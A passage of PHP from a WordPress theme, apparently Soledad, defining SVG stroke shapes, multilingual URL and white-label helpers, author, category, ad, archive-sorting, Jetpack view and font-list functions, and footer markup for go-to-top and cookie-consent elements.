			'line-1'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 400" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M91.47981262207031,57.39909744262695C91.47981262207031,57.39909744262695,709.4169921875,64.57398223876953,709.4169921875,64.57398223876953C709.4169921875,64.57398223876953,722.8699340820312,340.8071594238281,722.8699340820312,340.8071594238281C722.8699340820312,340.8071594238281,100.44842529296875,301.34527587890625,100.44842529296875,301.34527587890625C100.44842529296875,301.34527587890625,89.68608856201172,99.55155944824219,89.68608856201172,99.55155944824219" transform="matrix(0.99500625,0,-0.35089289569710413,0.99500625,50.274723994013186,1.4479939959287833)"></path></svg>',
			'line-2'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1422 800" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="m765 113.13-5.37-1.02q-5.37-1-16.05-2.53-10.68-1.52-20.88-2.35-10.2-.83-21.71-1.54-11.52-.72-26.24-1.13-14.73-.42-30.08-.65-15.35-.24-33.02-.4-17.66-.15-27.03-.2-9.36-.06-18.75-.1l-19.1-.08-19.48-.07-19.35-.04-19.1-.04-18.91-.02q-9.38 0-27.34.92-17.95.92-35.98 2.55-18.04 1.62-33.85 3.9-15.82 2.3-28.3 5.18-12.47 2.89-23.76 6.84-11.28 3.95-23.06 9.37-11.77 5.43-23.69 12.13-11.91 6.7-23.48 14.38-11.57 7.68-22.54 15.73-10.96 8.06-20.52 15.7-9.57 7.63-18.61 16.18-9.05 8.54-17.56 18.03-8.52 9.48-16.09 19-7.57 9.51-14.41 20.22-6.84 10.7-11.96 22.28-5.12 11.58-8.59 22.92-3.46 11.34-5.37 23.23-1.9 11.88-2.16 23.8-.25 11.9 1.25 23.7 1.5 11.8 5.92 25.15 4.43 13.35 10.14 25.45 5.71 12.1 12.41 22.7 6.7 10.58 15.06 20.63 8.35 10.05 17.66 19.06 9.3 9.01 18.9 17.04 9.57 8.03 21 16.06 11.41 8.03 23.33 15.5 11.91 7.48 23.83 14.3 11.92 6.82 24.45 12.71 12.53 5.9 25.55 11.48 13.03 5.57 27.45 10.7 14.42 5.12 30.28 10.27 15.86 5.14 32.47 10.03 16.6 4.89 34.86 9.07 18.27 4.18 28.5 6.13 10.21 1.94 20.55 3.83 10.35 1.88 20.3 3.56 9.95 1.67 19.63 3.2 9.68 1.52 19.16 2.94t19.05 2.6q9.56 1.19 19.07 2.06 9.5.88 19.99 1.53 10.5.66 20.6 1.15 10.1.48 19.75.83 9.65.36 19.3.77 9.64.4 19.28 1t18.87 1.02l27 1.28q17.78.84 33.83 1.5 16.05.65 31.38 1 15.34.36 32.45.56 17.1.2 33.93.31 16.83.11 33.17.17l32.39.08 31.34.04h57.85q13.97-.01 27.58-.56 13.6-.54 28.24-2.22 14.63-1.68 29-4.22 14.37-2.53 27.85-4.94 13.48-2.41 26.4-5.12 12.91-2.7 25.68-6.07t24.7-7.45q11.95-4.08 21.99-8.85t17.6-10.76q7.56-6 14.27-13.96 6.7-7.96 14.06-19.28t11.18-24.44q3.82-13.12 5.3-22.25t2.16-18.84q.67-9.71-.22-21.33-.9-11.63-2.86-23.98-1.97-12.35-4.8-25.99-2.83-13.63-6.76-26.8-3.93-13.15-8.71-26.47-4.79-13.33-10.66-27.2-5.88-13.88-11.96-26.66-6.08-12.78-11.93-24.22-5.84-11.43-12.63-22.93-6.8-11.5-14.26-22.29-7.47-10.79-15.02-20.35-7.55-9.56-15.03-17.73-7.48-8.18-15.27-15.45-7.8-7.28-15.47-13.81-7.68-6.53-16.87-13.07-9.19-6.53-18.7-12.6-9.52-6.06-19.73-12.1-10.21-6.06-20.2-11.87-9.97-5.82-18.69-10.41-8.7-4.6-21.5-10.52t-21.94-9.56q-9.14-3.63-17.77-6.81-8.63-3.18-20.83-7.16-12.2-4-24.42-7.05-12.21-3.07-22.35-4.81-10.14-1.75-20.65-3.33-10.51-1.58-21.06-2.94-10.55-1.37-21.73-2.21-11.17-.85-22.6-1.32-11.42-.47-23.76-.74-12.34-.26-26.23-.42-13.9-.16-26.8-.25-12.9-.08-24.86-.12-11.96-.04-22.75-.05-10.8-.02-23.44-.01-12.65 0-27.25-3.16l-14.6-3.17v-.01l14.6-3.16q14.62-3.15 27.27-3.11l23.45.07 22.77.07q11.97.04 24.9.11 12.91.07 26.87.2 13.95.11 26.4.36t24.06.71q11.6.47 23.15 1.34 11.55.86 22.23 2.24 10.69 1.38 21.32 2.96 10.63 1.59 21.11 3.39 10.48 1.8 23.24 5.03 12.77 3.23 25.19 7.31 12.42 4.09 21.08 7.3 8.67 3.2 18.22 7.01 9.55 3.81 22.66 9.9 13.1 6.1 22.04 10.84t18.97 10.6q10.03 5.84 20.47 12.02 10.44 6.19 20.08 12.34 9.63 6.15 19.38 13.11 9.74 6.96 17.54 13.63 7.8 6.68 15.93 14.3 8.12 7.64 15.89 16.17 7.77 8.54 15.57 18.46 7.8 9.91 15.47 21.02 7.67 11.12 14.71 23.05 7.04 11.93 12.9 23.42 5.84 11.48 12.05 24.52 6.21 13.04 12.27 27.27 6.05 14.22 10.93 27.75 4.88 13.52 9 27.3 4.12 13.77 7.03 27.62 2.91 13.84 4.97 26.67 2.07 12.83 3 25.36.95 12.53.21 22.85-.73 10.32-2.36 20.13-1.62 9.81-4.19 19.63-2.56 9.82-6.84 19-4.29 9.17-9.9 17.02-5.6 7.85-12.95 16.46-7.36 8.62-16.28 15.53-8.91 6.9-19.77 12-10.86 5.09-23.17 9.27-12.31 4.19-25.42 7.63-13.1 3.44-26.27 6.18-13.16 2.74-26.66 5.14-13.5 2.4-28.14 4.97t-29.72 4.3q-15.08 1.72-29.04 2.26-13.95.53-27.93.52l-28.26-.04-29.6-.06-31.35-.06-32.41-.1q-16.36-.08-33.21-.19-16.86-.11-34.03-.32-17.17-.2-32.6-.6-15.43-.39-31.62-1.1-16.2-.7-33.9-1.57l-27-1.31q-9.3-.45-18.84-1.04-9.53-.6-19.14-1-9.6-.41-19.32-.78-9.71-.36-19.9-.84-10.19-.48-20.86-1.13-10.67-.65-20.35-1.54-9.7-.9-19.4-2.1-9.72-1.2-19.25-2.63-9.52-1.42-19.26-2.95-9.74-1.53-19.77-3.2-10.02-1.67-20.42-3.53-10.4-1.86-20.75-3.8-10.36-1.92-20.06-3.96-9.69-2.04-18.63-4.22-8.95-2.17-25.79-7.1-16.83-4.91-32.84-10.06-16.01-5.15-30.83-10.4-14.81-5.25-27.94-10.87-13.13-5.61-26.13-11.73-13-6.12-25.2-13.1-12.2-6.99-24.34-14.6-12.14-7.6-24.01-15.95-11.88-8.34-21.78-16.67-9.9-8.32-19.61-17.74-9.7-9.42-18.58-20.14-8.87-10.72-15.98-22.02-7.1-11.31-13.05-23.93-5.95-12.63-10.72-27.1-4.77-14.49-6.36-27.32-1.58-12.82-1.27-25.62.32-12.8 2.37-25.38 2.05-12.6 5.8-24.77 3.76-12.18 9.23-24.47 5.47-12.28 12.71-23.6 7.25-11.33 15.14-21.24 7.9-9.9 16.73-19.7 8.82-9.8 18.3-18.72 9.48-8.92 19.27-16.7 9.8-7.8 20.9-15.94 11.12-8.15 23.17-16.13 12.06-7.99 24.35-14.87 12.3-6.89 24.46-12.46 12.18-5.57 24.23-9.72t25.1-7.1q13.04-2.94 29.26-5.25 16.22-2.3 34.37-3.94 18.16-1.63 27.34-2.28 9.18-.65 18.38-.94 9.2-.29 18.59-.29l18.91.01h38.46l19.5.01q9.7 0 19.1.02l18.77.03q9.38.02 27.08.1 17.7.08 33.12.27 15.42.2 30.32.57 14.9.37 26.54 1.1 11.65.72 22.16 1.6 10.5.87 21.6 2.47 11.09 1.6 16.46 2.62 5.37 1.02 6.08 1.25.72.22 1.37.62.64.4 1.17.93.53.53.91 1.18.4.65.61 1.37.22.72.26 1.47.04.76-.1 1.5t-.45 1.42q-.31.69-.78 1.28-.47.59-1.07 1.05-.6.46-1.28.77-.7.3-1.43.43-.75.14-1.5.09l-.75-.05Z" transform="translate(0.75 -3.61)"/></svg>',
			'underline-1'      => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 400" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M25.112102508544922,196.4125518798828C33.61434400558472,196.2944645436605,72.56351873397827,193.39012603759767,89.68608856201172,195.51568603515625C106.80865839004517,197.64124603271483,139.21523365020752,213.3826528676351,155.1569366455078,212.55604553222656C171.0986396408081,211.72943819681802,191.15992251078288,189.59191563924153,210.76231384277344,189.23765563964844C230.364705174764,188.88339564005534,284.5515521494548,211.63676325480142,304.0358581542969,209.86546325683594C323.520164159139,208.09416325887045,330.4035807800293,175.31239893595378,358.744384765625,175.7847442626953C387.0851887512207,176.25708958943684,485.1554173787435,213.21672345479328,519.282470703125,213.45289611816406C553.4095240275064,213.68906878153484,592.1942961629231,176.16141868591308,617.9371948242188,177.57846069335938C643.6800934855144,178.99550270080567,694.6053327433268,222.56202580769857,714.7981567382812,224.21524047851562C734.9909807332357,225.86845514933268,763.8609510294597,194.62181615193686,771.3004150390625,190.134521484375"></path></svg>',
			'underline-2'      => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 687 155" preserveAspectRatio="none">' . $gradient_svg . '<g class="style-' . $colorstyle . '" ' . $gradient_stroke . '><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M20 58c27-13.33333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.66666667 80.5 20" opacity=".1"></path><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M20 78c27-13.3333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.6666667 80.5 20" opacity=".2"></path><path d="M20 98c27-13.3333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.6666667 80.5 20" opacity=".6"></path><path d="M20 118c27-13.3333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.6666667 80.5 20"></path></g></svg>',
		);

		return $strokes[ $stroke ];
	}
}
if ( ! function_exists( 'penci_home_url_multilang' ) ) {
	function penci_home_url_multilang( $path = '', $scheme = null ) {
		if ( function_exists( 'pll_current_language' ) ) {
			if ( isset( $path[0] ) && $path[0] !== '/' ) {
				$path = '/' . $path;
			}

			$polylang_setting = get_option( 'polylang', array() );
			$default_lang     = $polylang_setting['default_lang'];
			$current_lang     = pll_current_language();

			if ( isset( $polylang_setting['hide_default'] ) && $polylang_setting['hide_default'] ) {
				if ( $default_lang === $current_lang ) {
					return home_url( $path, $scheme );
				}
			}

			return home_url( $current_lang . $path, $scheme );
		}

		return home_url( $path, $scheme );
	}
}

if ( ! function_exists( 'penci_get_theme_name' ) ) {
	function penci_get_theme_name( $name = 'Penci', $dot = false ) {

		$theme_name = get_theme_mod( 'admin_wel_page_sname' );

		if ( $theme_name && get_theme_mod( 'activate_white_label' ) ) {
			$name = $dot ? '.' . $theme_name : $theme_name;
		}

		return $name . ' ';
	}
}

if ( ! function_exists( 'penci_get_theme_author' ) ) {
	function penci_get_theme_author( $name = 'PenciDesign' ) {

		$theme_author = get_theme_mod( 'admin_wel_page_author' );

		if ( $theme_author && get_theme_mod( 'activate_white_label' ) ) {
			$name = $theme_author;
		}

		return $name;
	}
}

add_filter(
	'the_title',
	function ( $post_title, $post_id ) {
		if ( is_single() && isset( get_queried_object()->ID ) && get_queried_object()->ID == $post_id ) {
			$custom_post_title = get_post_meta( $post_id, 'penci_cpost_title', true );
			$post_title        = ! empty( $custom_post_title ) ? $custom_post_title : $post_title;
		}

		return $post_title;
	},
	10,
	2
);

add_filter(
	'penci_cat_bgcolor',
	function ( $default, $id, $featured ) {
		$out    = '';
		$colors = get_option( "category_$id" );
		if ( get_theme_mod( 'penci_catdesign' ) || $featured ) {
			if ( isset( $colors['penci_archive_bgcolor'] ) && $colors['penci_archive_bgcolor'] ) {
				$out .= 'background-color:' . $colors['penci_archive_bgcolor'] . ';';
			}
		}

		return $out;
	},
	10,
	3
);

add_filter(
	'penci_cat_color',
	function ( $default, $id, $featured ) {
		$out = '';

		$colors = get_option( "category_$id" );

		if ( get_theme_mod( 'penci_catdesign' ) || $featured ) {

			if ( isset( $colors['penci_archive_color'] ) && $colors['penci_archive_color'] ) {
				$out .= 'color:' . $colors['penci_archive_color'] . ';';
			}
		} elseif ( isset( $colors['penci_archivepage_color'] ) && $colors['penci_archivepage_color'] ) {
			$out .= 'color:' . $colors['penci_archivepage_color'] . ';';
		}

		return $out;
	},
	10,
	3
);

add_action(
	'wp_footer',
	function () {
		if ( ! get_theme_mod( 'penci_floatads_enable' ) || penci_is_mobile() ) {
			return false;
		}

		wp_enqueue_script( 'penci-float-banner' );

		$ad_left  = get_theme_mod( 'penci_floatads_banner_left' );
		$ad_right = get_theme_mod( 'penci_floatads_banner_right' );
		$ad_w     = get_theme_mod( 'penci_floatads_width', 200 );
		$ad_h     = get_theme_mod( 'penci_floatads_height' );

		$margin_top  = get_theme_mod( 'penci_floatads_mtop' );
		$margin_stop = get_theme_mod( 'penci_floatads_scroll_mtop' );

		$style = 'width: ' . $ad_w . 'px; height: ' . $ad_h . 'px; display:none; z-index:9999; position:absolute; text-align:center; top:0px; overflow:hidden;';

		if ( get_theme_mod( 'penci_floatads_always_center' ) ) {
			$style .= 'top: 50%;transform: translateY(-50%);';
		}

		$out = '<div data-w="' . $ad_w . '" data-mt="' . $margin_top . '" data-mts="' . $margin_stop . '" id="side-ads-container" class="container"></div>';
		$out .= '<div style="' . $style . '" class="side-ads" id="side-ads-left">' . do_shortcode( $ad_left ) . '</div>';
		$out .= '<div style="' . $style . '" class="side-ads" id="side-ads-right">' . do_shortcode( $ad_right ) . '</div>';

		echo $out;
	}
);

add_filter(
	'theme_mod_penci_logo',
	function ( $value ) {
		$default = $value;
		if ( penci_is_mobile() ) {
			$value = get_theme_mod( 'penci_mobile_logo' ) ? get_theme_mod( 'penci_mobile_logo' ) : $default;
		}

		return $value;
	}
);

if ( ! function_exists( 'penci_archive_query_vars_filter' ) ) {
	function penci_archive_query_vars_filter( $vars ) {
		$vars[] = 'pc_archive_sort';
		$vars[] = 'pc_archive_month';

		return $vars;
	}

	add_filter( 'query_vars', 'penci_archive_query_vars_filter' );
}

if ( ! function_exists( 'penci_archive_query_filter' ) ) {
	function penci_archive_query_filter( $query ) {

		$sort = get_query_var( 'pc_archive_sort' );
		$date = get_query_var( 'pc_archive_month' );

		if ( $query->is_main_query() && ! is_admin() ) {
			if ( $sort ){
				if ( in_array( $sort, [ 'asc', 'desc' ] ) ) {
					$query->set( 'order', $sort );
				}

				if ( 'view' == $sort ) {
					$query->set( 'order', 'DESC' );
					$query->set( 'orderby', 'meta_value_num' );
					$query->set( 'meta_key', penci_get_postviews_key() );
				}

				if ( 'comment' == $sort ) {
					$query->set( 'order', 'DESC' );
					$query->set( 'orderby', 'comment_count' );
				}
			}
			if ( $date ) {
				$month = explode( '-', $date );
				if ( isset( $month[0] ) && isset( $month[1] ) ) {
					$query->set( 'year', $month[1] );
					$query->set( 'monthnum', $month[0] );
				}
			}
		}
	}

	add_action( 'pre_get_posts', 'penci_archive_query_filter', 99 );
}

add_action(
	'penci_action_before_the_content',
	function () {
		$post_id = get_the_ID();
		echo '<i class="penci-post-countview-number-check" style="display:none">' . penci_get_post_views( $post_id ) . '</i>';
	}
);

if ( ! function_exists( 'penci_get_jetpack_post_view' ) ) {
	function penci_get_jetpack_post_view( $post_id ) {

		if ( class_exists( 'Automattic\Jetpack\Stats\WPCOM_Stats' ) ) {

			$post_id = $post_id ? $post_id : get_the_ID();

			$cached_view = get_post_meta( $post_id, '_jetpack_post_view', true );

			if ( ! $cached_view ) {

				$jp_view_data  = ( new Automattic\Jetpack\Stats\WPCOM_Stats() )->get_post_views( (int) $post_id );
				$encoded_array = wp_json_encode( $jp_view_data );
				if ( ! $encoded_array ) {
					return new WP_Error( 'stats_encoding_error', 'Failed to encode stats array' );
				}

				$encoded_array = json_decode( $encoded_array );

				return isset( $encoded_array->views ) && $encoded_array->views ? $encoded_array->views : 0;
			} else {
				return $cached_view;
			}
		}

		return false;
	}
}

if ( ! function_exists( 'penci_set_jetpack_post_view' ) ) {
	function penci_set_jetpack_post_view() {
		if ( is_singular() ) {
			$view = penci_get_jetpack_post_view( get_the_ID() );
			if ( $view ) {
				update_post_meta( get_the_ID(), '_jetpack_post_view', $view );
			}
		}
	}

	add_action( 'init', 'penci_set_jetpack_post_view', 99 );
}
if ( ! function_exists( 'penci_jetpack_option' ) ) {
	function penci_jetpack_option() {
		$return = array();
		if ( class_exists( 'Automattic\Jetpack\Stats\WPCOM_Stats' ) ) {
			$return = array( 'jetpack' => __( 'Jetpack Post Views', 'soledad' ) );
		}

		return $return;
	}
}

add_filter(
	'theme_mod_penci_home_layout',
	function ( $value ) {

		global $wp_query;

		$custom_layout = get_theme_mod( 'penci_blogpage_layout' );

		if ( isset( $wp_query ) && (bool) $wp_query->is_posts_page && $custom_layout ) {
			$value = $custom_layout;
		}

		return $value;
	}
);

add_filter(
	'template_include',
	function ( $template ) {
		global $wp_query;
		$overwrite   = get_theme_mod( 'penci_overwrite_post_page' );
		$page_option = get_option( 'show_on_front' ) == 'page';
		$blog_page   = isset( $wp_query ) && (bool) $wp_query->is_posts_page && $overwrite && $page_option;

		$page_id = get_option( 'page_for_posts' );

		if ( $blog_page && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $page_id )->is_built_with_elementor() ) {
			$template = locate_template( array( 'page-blog.php' ) );
		} elseif ( $blog_page ) {
			$template = locate_template( array( 'index.php' ) );
		}

		return $template;
	},
	10
);

add_filter(
	'views_plugins',
	function ( $views ) {
		$views['soledad_plugins'] = '<a href="' . esc_url( admin_url( 'themes.php?page=tgmpa-install-plugins' ) ) . '"><strong>' . __( 'Soledad Recommend Plugins', 'soledad' ) . '</strong></a>';

		return $views;
	}
);

if ( ! function_exists( 'penci_get_user_id_by_display_name' ) ) {
	function penci_get_user_id_by_display_name( $display_name ) {
		global $wpdb;

		if ( ! $user = $wpdb->get_row( $wpdb->prepare( "SELECT `ID` FROM $wpdb->users WHERE `display_name` = %s", $display_name ) ) ) {
			return false;
		}

		return $user->ID;
	}
}

add_filter(
	'the_author',
	function ( $name ) {

		$author_show = get_theme_mod( 'penci_meta_author_display', 'author-name' );
		if ( 'author-avatar' == $author_show || 'author-name-avatar' == $author_show ) {

			$author_w = get_theme_mod( 'penci_meta_author_aw', 22 );
			$user_id  = penci_get_user_id_by_display_name( $name );

			if ( ! $user_id ) {
				return $name;
			}
			$user_avatar = get_avatar( $user_id, $author_w );

			if ( 'author-avatar' == $author_show ) {
				$name = $user_avatar;
			} elseif ( 'author-name-avatar' == $author_show ) {
				$name = $user_avatar . '<strong class="author-a-name">' . $name . '</strong>';
			}
		}

		return $name;
	},
	10,
	1
);

if ( ! function_exists( 'penci_author_update_name' ) ) {
	function penci_author_update_name( $showing = false, $show_avatar = false, $avawidth = 22 ) {

		$enable                = ! get_theme_mod( 'penci_single_meta_author' );
		$penci_extra_author    = get_post_meta( get_the_ID(), 'penci_extra_author', true );
		$penci_extra_author_id = get_post_meta( get_the_ID(), 'penci_extra_author_id', true );

		$enable = $penci_extra_author_id ? $penci_extra_author_id : $enable;

		$avatar_html = '';
		$come        = 'customizer';

		if ( $showing ) {
			$come = 'builder';
		}

		$showing = $penci_extra_author && $penci_extra_author_id;

		$showing = $showing ? $showing : get_theme_mod( 'penci_single_meta_update_author' );

		if ( ! $showing ) {
			return false;
		}

		$last_id = get_post_meta( get_the_ID(), '_edit_last', true );
		$text    = penci_get_setting( 'penci_trans_updated_by' );

		if ( $penci_extra_author ) {
			$text = penci_get_setting( 'penci_trans_' . $penci_extra_author );
		}

		if ( $penci_extra_author_id ) {
			$last_id = $penci_extra_author_id;
		}

		if ( $last_id && $last_id != get_the_author_meta( 'ID' ) && $enable ) {

			if ( ! $show_avatar && 'builder' == $come ) {
				$avatar_html = get_avatar( $last_id, $avawidth );
			}

			?>
            <span class="author-post byline">
				<span class="author vcard"><?php echo $text; ?><a
                            class="author-url url fn n"
                            href="<?php echo get_author_posts_url( $last_id ); ?>"> <?php echo $avatar_html . apply_filters( 'the_author', get_the_author_meta( 'display_name', $last_id ) ); ?></a>
				</span>
			</span>
			<?php
		}
	}
}

add_action(
	'wp_ajax_penci_get_users',
	function () {
		check_ajax_referer( 'penci-adm-users', 'nonce' );
		$search_key = isset( $_REQUEST['search'] ) && $_REQUEST['search'] ? esc_attr( $_REQUEST['search'] ) : '';
		if ( $search_key ) {
			$blogusers = get_users(
				array(
					'search'         => $search_key,
					'search_columns' => array(
						'ID',
						'user_login',
						'user_email',
						'user_url',
						'user_nicename',
						'display_name',
					),
				)
			);
		} else {
			$blogusers = get_users();
		}
		$items = array();
		foreach ( $blogusers as $user ) {
			$items[] = array(
				'id'   => $user->ID,
				'text' => $user->display_name,
			);
		}
		wp_send_json_success( $items );
	}
);

if ( ! function_exists( 'penci_coauthors_posts_links' ) ) {
	function penci_coauthors_posts_links() {
		$out         = '';
		$author_show = get_theme_mod( 'penci_meta_author_display', 'author-name' );
		$author_w    = get_theme_mod( 'penci_meta_author_aw', 22 );
		if ( function_exists( 'coauthors__echo' ) ) {
			$author_list = coauthors__echo(
				'ID',
				'field',
				array(
					'between'     => ',',
					'betweenLast' => ',',
					'before'      => '',
					'after'       => '',
				),
				null,
				false
			);
			if ( $author_list ) {
				$author_ids = explode( ',', $author_list );
			}
			$current = 0;
			$total   = is_array( $author_ids ) ? count( $author_ids ) : 0;
			foreach ( $author_ids as $author_id ) {
				++ $current;

				$out .= $current == 2 && $total > 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );

				$user_avatar = get_avatar( $author_id, $author_w );
				$name        = get_the_author_meta( 'display_name', $author_id );
				$author_url  = get_author_posts_url( $author_id );

				if ( ! $name && function_exists( 'get_the_coauthor_meta' ) ) {

					$name = get_the_coauthor_meta( 'display_name', $author_id );
					$name = $name[ $author_id ];

					$author_url = get_the_coauthor_meta( 'url', $author_id );
					$author_url = isset( $author_url[ $author_id ] ) && $author_url[ $author_id ] ? $author_url[ $author_id ] : '';

					$author_email = get_the_coauthor_meta( 'email', $author_id );
					$user_avatar  = isset( $author_email[ $author_id ] ) && $author_email[ $author_id ] ? get_avatar( $author_email[ $author_id ], $author_w ) : '';

				}

				if ( 'author-avatar' == $author_show ) {
					$name_out = $user_avatar;
				} elseif ( 'author-name-avatar' == $author_show ) {
					$name_out = $user_avatar . '<strong class="author-a-name">' . $name . '</strong>';
				} else {
					$name_out = $name;
				}

				$out .= '<a title="' . $name . '" class="author-url url fn n" href="' . esc_url( $author_url ) . '">' . $name_out . '</a>';
			}
		}

		echo $out;
	}
}

add_action(
	'penci_single_meta_content',
	function () {
		if ( get_theme_mod( 'penci_single_font_changer' ) ) {
			?>
            <span class="penci-font-changer">
				<div class="penci-font-changer-popup">
					<span class="penci-font-changer-btn"><?php echo penci_get_setting( 'penci_trans_a1' ); ?><small><?php echo penci_get_setting( 'penci_trans_a2' ); ?></small></span>
					<div class="penci-fcpopup-ct-wrapper">
						<div class="penci-fchanger-pcontent">
							<span class="penci-font-changer-slider"></span>
							<strong class="penci-font-changer-reset"><?php echo penci_get_setting( 'penci_trans_reset' ); ?></strong>
						</div>
					</div>
				</div>
			</span>
			<?php

		}
	},
	99999
);

if ( ! function_exists( 'penci_sortArrayByArray' ) ) {
	function penci_sortArrayByArray( array $array, array $orderArray ) {
		$ordered = array();
		foreach ( $orderArray as $key ) {
			if ( array_key_exists( $key, $array ) ) {
				$ordered[ $key ] = $array[ $key ];
				unset( $array[ $key ] );
			}
		}

		return $ordered + $array;
	}
}
if ( ! function_exists( 'penci_get_custom_fonts' ) ) {
	function penci_get_custom_fonts() {

		$font_ids = get_posts(
			[
				'post_type'      => 'penci_cfonts',
				'posts_per_page' => - 1,
				'fields'         => 'ids',
				'no_found_rows'  => true, // Skip the 'found_posts' calculation
			]
		);

		$list_fonts = [];

		if ( ! empty( $font_ids ) ) {

			foreach ( $font_ids as $font_id ) {

				$font_title = get_the_title( $font_id );

				$list_fonts[ $font_title ] = $font_title;
			}
		}

		return $list_fonts;
	}
}

/**
 * Merge 2 array fonts to one array
 *
 * @return array fonts $penci_font_browser_arr
 * @since 1.0
 */
if ( ! function_exists( 'penci_all_fonts' ) ) {
	function penci_all_fonts( $df = null ) {
		$array_df = array();
		if ( 'select' == $df ) {
			$array_df = array( '' => '- Select -' );
		}

		return apply_filters( 'penci_font_list', array_merge(
			$array_df,
			penci_get_custom_fonts(),
			penci_font_browser(),
			penci_list_google_fonts_array()
		) );
	}
}

if ( ! function_exists( 'penci_get_option' ) ) {
	function penci_get_option( $key = null, $default = false ) {
		static $data;

		$data = get_option( 'penci_soledad_options' );

		if ( empty( $data ) ) {
			return '';
		}

		if ( $key === null ) {
			return $data;
		}

		if ( isset( $data[ $key ] ) ) {
			return $data[ $key ];
		}

		return get_option( $key, $default );
	}
}

/**
 * Include default fonts support by browser
 *
 * @return array list $penci_font_browser_arr
 * @since 2.0
 */
if ( ! function_exists( 'penci_font_browser' ) ) {
	function penci_font_browser() {
		$default_fonts    = array(
			'-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' => 'System Font'
		);
		$additional_fonts = array(
			'-apple-system',
			'Arial, Helvetica, sans-serif',
			'Helvetica, sans-serif',
			'"Arial Black", Gadget, sans-serif',
			'"Comic Sans MS", cursive, sans-serif',
			'Impact, Charcoal, sans-serif',
			'"Lucida Sans Unicode", "Lucida Grande", sans-serif',
			'Tahoma, Geneva, sans-serif',
			'"Trebuchet MS", Helvetica, sans-serif',
			'Verdana, Geneva, sans-serif',
			'Georgia, serif',
			'"Palatino Linotype", "Book Antiqua", Palatino, serif',
			'"Times New Roman", Times, serif',
			'"Courier New", Courier, monospace',
			'"Lucida Console", Monaco, monospace',
		);

		return array_merge( $default_fonts, array_combine( $additional_fonts, $additional_fonts ) );
	}
}


add_action(
	'penci_action_before_the_content',
	function () {
		if ( ! get_theme_mod( 'penci_post_stickyshare' ) ) {
			return;
		}

		$class = '';

		$style = get_theme_mod( 'penci_post_stickyshare_style', 'style-1' );
		$side  = get_theme_mod( 'penci_post_stickyshare_pos', 'left' );

		$class .= ' share-' . $style . ' pos-' . $side;

		if ( 'style-3' == $style ) {
			$class .= ' penci-social-textcolored';
		} else {
			$class .= ' tags-share-box-s2';
		}

		echo '<div class="penci-social-fixed-share tags-share-box tags-share-box-n2 pcnew-share hide-txt post-share disable-btnplus ' . $class . '">';
		penci_soledad_social_share( '' );
		echo '</div>';
	}
);

add_action( 'wp_footer', function () {
	if ( is_customize_preview() && strpos( $_SERVER['HTTP_REFERER'], 'customize_amp=1' ) !== false ) {
		return false;
	}
	if ( get_theme_mod( 'penci_go_to_top_floating' ) ) :
		$style = get_theme_mod( 'penci_go_to_top_style', 'style-1' );
		?>
        <div class="penci-go-to-top-floating pgtt-<?php echo $style; ?>"><i class="penciicon-up-chevron"></i></div>
	<?php
	endif;
	if ( get_theme_mod( 'penci_mobile_nav_delayed' ) ) {
		?>
        <div data-id="section-nav-mobile-<?php the_ID(); ?>"
             data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'mobile_nav' ], get_permalink() ) ); ?>"
             class="pcfb-mobile-nav-sections-delayed pc-content-delayed"></div>
		<?php
	} else {
		get_template_part( 'template-parts/header/vertical-nav' );
	}
	/* Menu Hamburger */
	if ( get_theme_mod( 'penci_menu_hbg_show' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
		get_template_part( 'template-parts/menu-hamburger' );
	}
	if ( is_singular( 'post' ) && get_theme_mod( 'penci_related_post_popup' ) ) :
		get_template_part( 'inc/templates/related_posts-popup' );
	endif;
	$gprd_desc       = penci_get_setting( 'penci_gprd_desc' );
	$gprd_accept     = penci_get_setting( 'penci_gprd_btn_accept' );
	$gprd_rmore      = penci_get_setting( 'penci_gprd_rmore' );
	$gprd_rmore_link = penci_get_setting( 'penci_gprd_rmore_link' );
	$penci_gprd_text = penci_get_setting( 'penci_gprd_policy_text' );
	$penci_gprd_s    = get_theme_mod( 'penci_cookie_law_style', 'style-1' );
	if ( get_theme_mod( 'penci_enable_cookie_law' ) && $gprd_desc && $gprd_accept ) :
		?>
        <div class="penci-wrap-gprd-law penci-wrap-gprd-law-close penci-close-all <?php echo esc_attr( $penci_gprd_s ); ?>">
            <div class="penci-gprd-law">
                <p>
					<?php
					if ( $gprd_desc ) :
						echo '<span class="penci-gprd-law-content">' . $gprd_desc . '</span>';
					endif;
					?>
					<?php
					if ( $gprd_accept ) :
						echo '<a aria-label="GPRD Accept" class="penci-gprd-accept" href="#">' . $gprd_accept . '</a>';
					endif;
					?>
					<?php
					if ( $gprd_rmore ) :
						echo '<a class="penci-gprd-more" href="' . $gprd_rmore_link . '">' . $gprd_rmore . '</a>';
					endif;
					?>
                </p>
            </div>
			<?php if ( ! get_theme_mod( 'penci_show_cookie_law' ) ) : ?>
